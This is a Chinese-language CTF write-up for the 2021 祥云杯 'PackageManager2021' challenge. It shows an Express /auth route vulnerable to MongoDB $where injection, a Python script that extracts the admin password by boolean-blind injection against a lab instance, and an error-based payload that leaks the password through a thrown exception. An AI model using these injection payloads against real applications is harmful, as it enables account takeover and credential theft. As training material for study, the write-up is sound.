# [2021 祥云杯] PackageManager2021

index.ts 的源码:

import *  as express from "express";
import { User } from "../schema";
import { checkmd5Regex } from "../utils";
const router = express.Router();
router.get('/', (_, res) => res.render('index'))
router.get('/login', (_, res) => res.render('login'))
router.post('/login', async (req, res) => {
	let { username, password } = req.body;
	if (username && password) {
		if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string") {
			return res.render('login', { error: 'Parameters error' });
		}
		const user = await User.findOne({ "username": username })
		if (!user || !(user.password === password)) {
			return res.render('login', { error: 'Invalid username or password' });
		}
		req.session.userId = user.id
		res.redirect('/packages/list')
	} else {
		return res.render('login', { error: 'Parameters cannot be blank' });
	}
})
router.get('/register', (_, res) => res.render('register'))
router.post('/register', async (req, res) => {
	let { username, password, password2 } = req.body;
	if (username && password && password2) {
		if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string") {
			return res.render('register', { error: 'Parameters error' });
		}
		if (password != password2) {
			return res.render('register', { error: 'Password do noy match' });
		}
		if (await User.findOne({ username: username })) {
			return res.render('register', { error: 'Username already taken' });
		}
		try {
			const user = new User({ "username": username, "password": password, "isAdmin": false })
			await user.save()
		} catch (err) {
			return res.render('register', { error: err });
		}
		res.redirect('/login');
	} else {
		return res.render('register', { error: 'Parameters cannot be blank' });
	}
})
router.get('/logout', (req, res) => {
	req.session.destroy(() => res.redirect('/'))
})
router.get('/auth', (_, res) => res.render('auth'))
router.post('/auth', async (req, res) => {
	let { token } = req.body;
	if (token !== '' && typeof (token) === 'string') {
		if (checkmd5Regex(token)) {
			try {
				let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
				console.log(docs);
				if (docs.length == 1) {
					if (!(docs[0].isAdmin === true)) {
						return res.render('auth', { error: 'Failed to auth' })
					}
				} else {
					return res.render('auth', { error: 'No matching results' })
				}
			} catch (err) {
				return res.render('auth', { error: err })
			}
		} else {
			return res.render('auth', { error: 'Token must be valid md5 string' })
		}
	} else {
		return res.render('auth', { error: 'Parameters error' })
	}
	req.session.AccessGranted = true
	res.redirect('/packages/submit')
});
export default router;

主页注册登陆后:

image-20241104194519814

发现这些东西全被过滤了,那应该就是不是上传 js 文件 submit 东西执行 js 文件获取文件了,那应该就是拿 admin 的密码登录了,找一下源码关于 admin 的信息,找到这个源码:

router.post('/auth', async (req, res) => {
	let { token } = req.body;
	if (token !== '' && typeof (token) === 'string') {
		if (checkmd5Regex(token)) {
			try {
				let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
				console.log(docs);
				if (docs.length == 1) {
					if (!(docs[0].isAdmin === true)) {
						return res.render('auth', { error: 'Failed to auth' })
					}
				} else {
					return res.render('auth', { error: 'No matching results' })
				}
			} catch (err) {
				return res.render('auth', { error: err })
			}
		} else {
			return res.render('auth', { error: 'Token must be valid md5 string' })
		}
	} else {
		return res.render('auth', { error: 'Parameters error' })
	}
	req.session.AccessGranted = true
	res.redirect('/packages/submit')
});

其中:

let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
				console.log(docs);

这个 token 我们可以控制,并且还有 exec 执行函数,可以构造随便 md5“加上 ||this.password [0]==”a 进行布尔盲注

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" || this.password[0]=="a"

此时:

this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" || this.password[0]=="a"

基本上就是 || 后面的对了就是对的,错了就是错的,就可以爆密码了

import requests
import string
url="http://33384f3e-07da-423c-a59f-2b1d078b0e5e.node5.buuoj.cn:81/auth"
headers={
    "Cookie": "session=s%3A3wvQHv9Y0mXpJiI6waZgpyDAJEUZx1xo.JVohWm50pSeTB1xXjWBypCPrJjkGoxsdEJ4MukmieVQ",
}
flag = ''
for i in range(10000):
    for j in string.printable:
        if j == '"':
            continue
        payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
        data={
            "_csrf": "90fXyUpP-Ozj7FRw1cLILI9yNJds_QbJM5Bk",
            "token": payload
        }
        r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
        # print(r.text)
        if "Found. Redirecting to" in r.text:
            print(payload)
            flag+=j
            print(flag)
            break

image-20241104195939735

登陆就出了

image-20241104200009587

还有就是

# 用 js 语句 throw error

js 直接报错出的

token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin

逻辑判断语句为:

`this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()!="aaaaa"`

这里就是立即执行 throw Error (this.password),后面是!= 还是 == 字符串的值是什么都无所谓,只要是语法没问题然后语句正常执行,这里强制抛出异常,从源码中可以看到抛出的异常会被渲染出来,然后就能够看到 password 的值

image-20241104200138677

也是直接出密码